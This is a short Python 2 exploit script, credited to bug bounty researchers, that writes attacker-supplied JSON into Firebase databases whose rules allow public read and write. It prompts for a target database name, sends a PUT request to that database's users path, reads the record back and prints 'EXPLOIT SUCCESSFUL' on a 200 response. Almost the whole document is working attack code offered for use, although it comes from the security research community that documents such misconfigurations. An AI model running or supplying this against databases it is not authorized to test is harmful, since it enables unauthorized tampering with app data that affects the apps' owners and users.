# Contact:
'''
Muhammad Khizer Javed
Cyber Security Researcher & Bug Bounty Hunter
khizerjaved@securitybreached.org
https://www.linkedin.com/in/muhammad-khizer-javed/
http://whoami.securitybreached.org/
https://bugcrowd.com/MuhammadKhizerJaved
https://hackerone.com/khizer47
'''
# Thanks to Daniyal Nasir https://www.facebook.com/786daniyal for help.
'''
This is A simple Python Exploit to Write Data to Insecure/vulnerable firebase databases!
Commonly found inside Mobile Apps.
If the owner of the app have set the security rules as true for both "read" & "write" an attacker can probably dump database
and write his own data to firebase db.
'''
import requests
import urllib
print """
              ############# \"Firebase Database Permissions Vulnerability Exploit ############
Usage   : Provide target dB name, filename to be create, information to write
Blog    : Read Full Blog about
Url     : https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty
Authors : Muhammad Khizer Javed, Daniyal Nasir
Update  : Haroon Awan
"""

#Settings
print ("[>] Input Settings for exploit\n")
site = raw_input("[+] Enter firebase DB name : ")
file = raw_input("[+] Enter your filename    : ")
name = raw_input("[+] Enter your name        : ")
email= raw_input("[+] Enter your email       : ")
blog = raw_input("[+] Enter your Blog        : ")

#Payload Paths and Settings
site_url = "https://"+site+".firebaseio.com/users/"+file+".json"
data = {"Exploit": "Successfull", "blog": blog, "email": email, "name": name}
response = requests.put(site_url, json=data)

#Auto Verify Exploit
print("[>] Verfying if Exploit Successful\n")
link = site_url  
f = urllib.urlopen(link)  
myfile = f.read()  
print(myfile)  
print ("") 

#Response Codes
if response.status_code == 200:
 print ("[>] EXPLOIT SUCCESSFUL")
elif response.status_code == 401:
 print ("[x] NOT EXPLOITABLE \n[?] Reason: All Permissions Denied")
elif response.status_code == 404:
 print ("[x] Database Not Found \n[?] Reason: Firebase DB Not Found")
else:
 print ("[x] NOT EXPLOITABLE \n[?] Reason: Unknown Error\n")
